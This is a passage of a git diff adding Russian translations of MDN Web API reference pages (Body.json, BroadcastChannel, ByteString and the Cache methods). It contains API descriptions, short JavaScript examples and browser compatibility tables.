+<p>Метод <strong><code>json()</code></strong> , определен на миксине {{domxref("Body")}}, который включён в объектах <a href="https://developer.mozilla.org/ru/docs/Web/API/Request" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>Request</code></a> и <a href="https://developer.mozilla.org/ru/docs/Web/API/Response" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>Response</code></a>, принимает и читает тело {{domxref("Response")}} stream. Возвращает promise (обещание), который, когда ответ будет получен, вызовет коллбэк с результатом парсинга тела ответа в {{jsxref("JSON")}} объект.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">response.json().then(function(data) {
+  // do something with your data
+});</pre>
+
+<h3 id="Аргументы">Аргументы</h3>
+
+<p>Нет.</p>
+
+<h3 id="Возвращает">Возвращает</h3>
+
+<p>Promise (обещание), который, когда ответ будет получен, вызовет коллбэк с результатом парсинга тела ответа в JSON объект. Этим может быть что угодно, что может быть представлено как JSON объект — объект, массив, строка, число...</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В нашем <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-json">fetch json примере</a> (запустите <a href="http://mdn.github.io/fetch-examples/fetch-json/">fetch json live</a>), мы создаем новый запрос, используя {{domxref("Request.Request")}} конструктор, в последствии мы используем его (запрос) для получения <code>.json</code> файла. Когда fetch запрос будет выполнен, мы прочтем и спарсим данные, используя <code>json()</code>, а далее вставим значения из полученного объекта в list элементы списка для отображения данных по нашему продукту.</p>
+
+<pre class="brush: js">var myList = document.querySelector('ul');
+
+var myRequest = new Request('products.json');
+
+fetch(myRequest)
+  .then(function(response) { return response.json(); })
+  .then(function(data) {
+    for (var i = 0; i &lt; data.products.length; i++) {
+      var listItem = document.createElement('li');
+      listItem.innerHTML = '&lt;strong&gt;' + data.products[i].Name + '&lt;/strong&gt; can be found in ' +
+                           data.products[i].Location +
+                           '. Cost: &lt;strong&gt;£' + data.products[i].Price + '&lt;/strong&gt;';
+      myList.appendChild(listItem);
+    }
+  });</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#dom-body-json','json()')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, пожалуйста пожалуйста проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div>
+
+<p>{{Compat("api.Body.json")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/ru/web/api/broadcastchannel/index.html b/files/ru/web/api/broadcastchannel/index.html
new file mode 100644
index 0000000000..2f7ce7b6a4
--- /dev/null
+++ b/files/ru/web/api/broadcastchannel/index.html
@@ -0,0 +1,74 @@
+---
+title: BroadcastChannel
+slug: Web/API/BroadcastChannel
+translation_of: Web/API/BroadcastChannel
+---
+<p>{{APIRef("Broadcast Channel API")}}</p>
+
+<p>Интерфейс <code><strong>BroadcastChannel</strong></code> представляет собой именованный канал, на который можно подписаться из любого {{glossary("контекста просмотра")}} данного {{glossary("источника")}}. Это позволяет настроить коммуницию между разными документами (в разных окнах, вкладках, фреймах и т.д.) одного источника. Сообщения распространяются с помощью события {{event("message")}}, выстреливающего для всех объектов <code>BroadcastChannel</code>, слушающих этот канал.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("BroadcastChannel.BroadcastChannel", "BroadcastChannel()")}}</dt>
+ <dd>Создает объект, связанный с именованным каналом.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Этот интерфейс также наследует свойства от своего родителя, {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("BroadcastChannel.name")}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}}, имя канала.</dd>
+ <dt>
+ <h3 id="Обработчики_событий">Обработчики событий</h3>
+ </dt>
+ <dt>{{domxref("BroadcastChannel.onmessage")}}</dt>
+ <dd>{{domxref("EventHandler")}} свойство, определяющее функцию, которая будет запущена, когда произойдет вызов события {{event("message")}} на этом объекте.</dd>
+ <dt>{{domxref("BroadcastChannel.onmessageerror")}}</dt>
+ <dd>{{domxref("EventHandler")}}, который вызывается, когда приходит {{domxref("MessageEvent")}} типа {{domxref("MessageError")}} — когда приходит сообщение, которое не может быть десереализовано.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Этот интерфейс также наследует свойства от своего родителя,{{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("BroadcastChannel.postMessage()")}}</dt>
+ <dd>Отправляет сообщение любого типа объекта всем объектам <code>BroadcastChannel</code>, прослушивающим данный канал.</dd>
+ <dt>{{domxref("BroadcastChannel.close()")}}</dt>
+ <dd>Закрывает объект канала, указывая, что тот больше не будет получать новые сообщения, и позволяет сборщику мусора уничтожить его.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "comms.html#broadcastchannel", "BroadcastChannel")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+
+
+<p>{{Compat("api.BroadcastChannel")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>Another, more heavyweight, way of communicating between browser contexts: {{domxref("ServiceWorker")}}.</li>
+ <li><a href="/en-US/docs/Web/API/Broadcast_Channel_API">Broadcast Channel API overview</a></li>
+</ul>
diff --git a/files/ru/web/api/broadcastchannel/postmessage/index.html b/files/ru/web/api/broadcastchannel/postmessage/index.html
new file mode 100644
index 0000000000..17ea5ad451
--- /dev/null
+++ b/files/ru/web/api/broadcastchannel/postmessage/index.html
@@ -0,0 +1,52 @@
+---
+title: BroadcastChannel.postMessage()
+slug: Web/API/BroadcastChannel/postMessage
+tags:
+  - API
+  - Broadcast Channel API
+  - BroadcastChannel
+  - HTML API
+  - Определение
+  - Экспериментальное
+  - метод
+translation_of: Web/API/BroadcastChannel/postMessage
+---
+<p>{{APIRef("BroadCastChannel API")}}</p>
+
+<p><strong><code>BroadcastChannel.postMessage()</code></strong> отправляет сообщение, которое может быть любым {{jsxref("Object", "объектом")}}, каждому слушателю в {{glossary("browsing context", "контексте браузера")}} с тем же {{glossary("origin")}}. Сообщение передается в виде события {{event("message")}} к каждому <code>BroadcastChannel</code>, привязанному к данному каналу.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">var <em>str</em> = <em>channe<code>l</code></em><code>.postMessage(<em>object</em>);</code>
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "comms.html#dom-broadcastchannel-postmessage", "BroadcastChannel.postmessage()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+
+
+<p>{{Compat("api.BroadcastChannel.postMessage")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{domxref("BroadcastChannel")}}, интерфейс, к которому относится <strong><code>postMessage</code></strong>.</li>
+</ul>
diff --git a/files/ru/web/api/bytestring/index.html b/files/ru/web/api/bytestring/index.html
new file mode 100644
index 0000000000..01993390ee
--- /dev/null
+++ b/files/ru/web/api/bytestring/index.html
@@ -0,0 +1,34 @@
+---
+title: ByteString
+slug: Web/API/ByteString
+tags:
+  - Строки
+translation_of: Web/API/ByteString
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>ByteString</code></strong> является UTF-8 строкой, которая соответствует набору всех возможных последовательностей байтов. <code>ByteString</code> отображается как {{jsxref("String")}} при возврате в JavaScript; как правило, используется только при взаимодействии с протоколами, которые равнозначно используют байты и строки, например HTTP.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebIDL', '#idl-ByteString', 'ByteString')}}</td>
+   <td>{{Spec2('WebIDL')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/String" title="/en-US/docs/Web/API/DOMString">String</a></li>
+ <li><a href="/ru/docs/Web/API/DOMString/Binary">Binary strings</a></li>
+</ul>
diff --git a/files/ru/web/api/cache/add/index.html b/files/ru/web/api/cache/add/index.html
new file mode 100644
index 0000000000..f5745943e3
--- /dev/null
+++ b/files/ru/web/api/cache/add/index.html
@@ -0,0 +1,102 @@
+---
+title: Cache.add()
+slug: Web/API/Cache/add
+translation_of: Web/API/Cache/add
+---
+<p>{{APIRef("Service Workers API")}}</p>
+
+<p>Метод <strong><code>add()</code></strong> интерфейса {{domxref("Cache")}} принимает в качестве параметра URL, загружает его и добавляет полученный объект ответа в заданный кеш. Метод <code>add()</code> функционально эквивалентен соедующему коду:</p>
+
+<pre class="brush: js">fetch(url).then(function (response) {
+  if (!response.ok) {
+    throw new TypeError('bad response status');
+  }
+  return cache.put(url, response);
+})</pre>
+
+<p>Для более сложных операций, вам нужно использовать {{domxref("Cache.put","Cache.put()")}}.</p>
+
+<div class="note">
+<p><strong>Замечание</strong>: <code>add()</code> перезапишет любую пару ключ/значение, сохраненную ранее в кеше, соответствующем запросу.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="sytaxbox"><em>cache</em>.add(<em>request</em>).then(function() {
+  //запрос был добавлен в кеш
+});
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>request</dt>
+ <dd>Запрос, который вы хотите добавить в кеш. Это может быть объект  {{domxref("Request")}}, либо URL.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{jsxref("Promise")}}, который разрешается с пустым значением void.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><strong>Исключение</strong></th>
+   <th scope="col"><strong>Когда происходит</strong></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>TypeError</code></td>
+   <td>
+    <p>Схема URL не <code>http</code> или <code>https</code>.</p>
+
+    <p>Статус ответа не из диапазона 200 (т.е., ответ не успешен). Это случается если запрос не выполняется успешно, а также, если запрос является <em>cross-origin no-cors</em> запросом (в таком случае, статус всегда 0).</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Этот блок кода ожидает старта события {{domxref("InstallEvent")}} , а затем запускает  {{domxref("ExtendableEvent.waitUntil","waitUntil")}} для обработки процесса установки приложения. Этот процесс состоит из вызова  {{domxref("CacheStorage.open")}} для создания нового кеша, и использования {{domxref("Cache.add")}} для добавления ресурсов в этот кеш.</p>
+
+<pre class="brush: js">this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v1').then(function(cache) {
+      return cache.add('/sw-test/index.html');
+    })
+  );
+});
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комменатрий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#cache', 'Cache')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{Compat("api.Cache.add")}}</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Использование сервис воркеров</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/ru/web/api/cache/addall/index.html b/files/ru/web/api/cache/addall/index.html
new file mode 100644
index 0000000000..b48323c9ee
--- /dev/null
+++ b/files/ru/web/api/cache/addall/index.html
@@ -0,0 +1,206 @@
+---
+title: Cache.addAll()
+slug: Web/API/Cache/addAll
+translation_of: Web/API/Cache/addAll
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Метод <strong><code>addAll()</code></strong> интерфейса {{domxref("Cache")}} принимает массив URLS в кечестве параметра, получает данные по ним, и добавляет полученные объекты ответов в заданный кеш. Объекты запросов, созданные в ходе получения данных, становятся ключами для хранимых ответов. </p>
+
+<div class="note">
+<p><strong>Замечание</strong>: <code>addAll()</code> перезапишет любые пары ключ/значение ранее записанные в кеш, соответствующие запросу, но выдаст ошибку, если операция <code>put()</code> перезапишет один из кешей, созданный за время выполнения одного и того же метода <code>addAll()</code>.</p>
+</div>
+
+<div class="note">
+<p><strong>Замечание</strong>: Первоначальная реализация Cache (как в Blink, так и в Gecko) разрешает промисы {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}}, и {{domxref("Cache.put")}} когда тело ответа полностью записано в хранилище. Более поздние версии спецификации говорят, что браузер может разрешить промис как только данные были записаны в базу данных, даже если тело ответа еще формируется.</p>
+</div>
+
+<div class="note">
+<p><strong>Замечание: </strong>Начиная с Chrome 46, Cache API будет хранить запросы только из безопасных источников, то есть, только использующие протокол HTTPS.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">cache.addAll(requests[]).then(function() {
+  //запросы были дабавлены в кеш
+});
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>requests</dt>
+ <dd>Массив объектов {{domxref("Request")}}, которые вы хотите добавить в кеш.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{jsxref("Promise")}}, которые разрешается с пустым зачением void.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><strong>Исключение</strong></th>
+   <th scope="col"><strong>Когда происходит</strong></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>TypeError</code></td>
+   <td>
+    <p>Схема URL не <code>http</code> или <code>https</code>.</p>
+
+    <p>Статус ответа не из диапазона 200 (т.е., ответ не успешен). Это случается если запрос не выполняется успешно, а также, если запрос является <em>cross-origin no-cors</em> запросом (в таком случае, статус всегда 0).</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры"><strong style="font-size: 2.14285714285714rem; font-weight: 700; letter-spacing: -1px; line-height: 30px;">Примеры</strong></h2>
+
+<p>Этот блок кода ожидает старта события {{domxref("InstallEvent")}}, а затем запускает {{domxref("ExtendableEvent.waitUntil","waitUntil")}} для обработки процесса установки приложения. Этот процесс состоит из вызова {{domxref("CacheStorage.open")}} для создания нового кеша, и вызова <code>addAll()</code> для добавления набора ресурсов в этот кеш.</p>
+
+<pre class="brush: js">this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v1').then(function(cache) {
+      return cache.addAll([
+        '/sw-test/',
+        '/sw-test/index.html',
+        '/sw-test/style.css',
+        '/sw-test/app.js',
+        '/sw-test/image-list.js',
+        '/sw-test/star-wars-logo.jpg',
+        '/sw-test/gallery/',
+        '/sw-test/gallery/bountyHunters.jpg',
+        '/sw-test/gallery/myLittleVader.jpg',
+        '/sw-test/gallery/snowTroopers.jpg'
+      ]);
+    })
+  );
+});
+</pre>
+
+<h3 id="Спецификации">Спецификации</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#cache', 'Cache')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(46.0)}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Требует HTTPS</td>
+   <td>{{CompatChrome(46.0)}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>TypeError</code> в случае неуспешного запроса</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(47.0)}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(46.0)}}</td>
+  </tr>
+  <tr>
+   <td>Трубует HTTPS</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(46.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>TypeError</code> в случае неуспешного запроса</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Сервис воркеры (и <a href="https://developer.mozilla.org/en-US/docs/Web/API/Push_API">Push</a>) были отключены в <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 Extended Support Release</a> (ESR.)</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Использование сервис воркеров</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/ru/web/api/cache/delete/index.html b/files/ru/web/api/cache/delete/index.html
new file mode 100644
index 0000000000..5efa82b44a
--- /dev/null
+++ b/files/ru/web/api/cache/delete/index.html
@@ -0,0 +1,128 @@
+---
+title: Cache.delete()
+slug: Web/API/Cache/delete
+translation_of: Web/API/Cache/delete
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p>Метод <strong><code>delete()</code></strong> интерфейса {{domxref("Cache")}} ищет запись {{domxref("Cache")}}, чей ключ совпадает с запросом, и, в случае находки, удаляет запись {{domxref("Cache")}} и возвращает {{jsxref("Promise")}}, который разрешается со значением <code>true</code>. Если запись не была найдена {{domxref("Cache")}}, метод возвращает <code>false</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">cache.delete(request,{options}).then(function(true) {
+  // запись была удалена
+});
+</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{jsxref("Promise")}}, который разрешается со значением true в случае, если запись была удалена, или false в другом случае.</p>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>request</dt>
+ <dd>{{domxref("Request")}}, который вы хотите удалить.</dd>
+ <dt>options {{optional_inline}}</dt>
+ <dd>Объект, чьи свойства контролируют как будет выполняться сопоставление ключей при вызове <code>delete</code>. Допустимые значения:
+ <ul>
+  <li><code>ignoreSearch</code>: Булево значение {{domxref("Boolean")}}, которое определяет будет ли процесс сопоставления игнорировать строку запроса в url.  Если установлено в <code>true</code>, часть <code>?value=bar</code> запроса <code>http://foo.com/?value=bar</code> будет проигнорирована при сопоставлении ключей. По умолчанию установлено в <code>false</code>.</li>
+  <li><code>ignoreMethod</code>: Булево значение {{domxref("Boolean")}}, которое, если равно <code>true</code>, предотвращает проверку {{domxref("Request")}} при сопоставлении ключей на <code>HTTP</code> метод (обычно допускаются только <code>GET</code> и <code>HEAD</code>). По умолчанию установлено в <code>false</code>.</li>
+  <li><code>ignoreVary</code>: Булево значение {{domxref("Boolean")}}, которое, если равно <code>true,</code> указывает операции сопоставления ключей не проводить проверку заголовка <code>VARY</code>.  Другими словами, если URL совпадает, вы получите соответствие, независимо от того, есть ли заголовок <code>VARY </code>на объекте запроса {{domxref("Response")}}. По умолчанию установлено в <code>false</code>.</li>
+  <li><code>cacheName</code>: Строка {{domxref("DOMString")}}, которая представляет собой определенный кеш, в котором вести поиск. Заметьте, что этот параметр игнорируется методом <code>Cache.delete()</code>.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Примеры" style="line-height: 30px; font-size: 2.14285714285714rem;">Примеры</h2>
+
+<pre class="brush: js">caches.open('v1').then(function(cache) {
+  cache.delete('/images/image.png').then(function(response) {
+    someUIUpdateFunction();
+  });
+})</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#cache', 'Cache')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(40.0)}}<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop(39)}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(39)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(40.0)}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Параметр options поддерживает только значения <code>ignoreSearch и</code> <code>cacheName</code>. </p>
+
+<p>[2] Сервис воркеры (и <a href="/en-US/docs/Web/API/Push_API">Push</a>) бы ли отключены в <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 Extended Support Release</a> (ESR.)</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Использование сервис воркеров</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/ru/web/api/cache/index.html b/files/ru/web/api/cache/index.html
new file mode 100644
index 0000000000..82923d3fba
--- /dev/null
+++ b/files/ru/web/api/cache/index.html
@@ -0,0 +1,278 @@
+---
+title: Сache
+slug: Web/API/Cache
+translation_of: Web/API/Cache
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p>Интерфейс <strong><code>Cache</code></strong> представляет собой механизм хранения пары объектов <code><a href="http://fetch.spec.whatwg.org/#request">Request</a></code> / <code><a href="http://fetch.spec.whatwg.org/#response">Response</a>,</code> которые кешируются, например, как часть жизненного цикла {{domxref("ServiceWorker")}}. Заметьте, что интерфейс Cache доступен как в области видимости окна, так и в области видимости воркеров. Не обязательно использовать его вместе с сервис воркерами, даже если интерфейс определен в их спецификации.</p>
+
+<p>Для вызывающего скрипта может быть множество именованных объектов <code>Cache</code>. Разработчик сам определяет реализацию того, как скрипт (например, в  {{domxref("ServiceWorker")}}) управляет обновлением <code>Cache</code>. Записи в <code>Cache</code> не будут обновлены, пока не будет выполнен явный запрос; их время жизни не истечет до момента удаления. Используйте {{domxref("CacheStorage.open", "CacheStorage.open(cacheName)")}}, чтобы открыть определенный именованный объект <code>Cache </code>и затем вызывайте любые методы<code> Cache </code>для управления его состоянием.</p>
+
+<p>Вы также ответственны за периодическую очистку записей кеша. Каждый браузер имеет жесткие ограничения на объем хранилища кеша, доступный для исходного кода. Браузер делает все, чтобы как можно лучше использовать дисковое пространство, но он может удалить хранилище кеша для скрипта. В основном, браузер либо удаляет все данные из кеша для скрипта, либо не удалает ничего. Устанавливайте версии кеша в имени и используйте кеш только той версии, которая безопасна для использования. Смотрите <a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers#Deleting_old_caches">Удаление старого кеша</a>.</p>
+
+<div class="note">
+<p><strong>Замечание</strong>: {{domxref("Cache.put")}}, {{domxref("Cache.add")}} и {{domxref("Cache.addAll")}} допускают сохранение в кеш только <code>GET</code> запросов.</p>
+</div>
+
+<div class="note">
+<p><strong>Замечание</strong>: Изначально, реализация Cache (как в Blink, так и в Gecko) возвращала успешное завершение для промисов {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}} и {{domxref("Cache.put")}}, когда тело ответа было полностью помещено в хранилище. Более поздние версии используют новейший язык, утверждая, что браузер может разрешить промис как только запись будет записана в базу данных, даже если тело ответа все еще загружается в потоке.</p>
+</div>
+
+<div class="note">
+<p><strong>Замечание:</strong> Начиная с Chrome 46, Cache API будут хранить запросы только от безопасных источников, то есть, доступных через HTTPS.</p>
+</div>
+
+<div class="note">
+<p><strong>Замечание</strong>: Алгоритм сопоставления ключей зависит от заголовка <a href="https://www.fastly.com/blog/best-practices-for-using-the-vary-header">VARY</a> хранимого значения. Таким образом, сопоставление нового ключа требует одновременно как проверки самого ключа, так и значений для записей в Cache.</p>
+</div>
+
+<div class="note">
+<p><strong>Замечание:</strong> Кеширующие API не приветствуют заголовки кеширования HTTP.</p>
+</div>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("Cache.match", "Cache.match(request, options)")}}</dt>
+ <dd>Возвращает {{jsxref("Promise")}}, который успешно завершается с нахождением первого совпадения для данного запроса в объекте {{domxref("Cache")}}.</dd>
+ <dt>{{domxref("Cache.matchAll", "Cache.matchAll(request, options)")}}</dt>
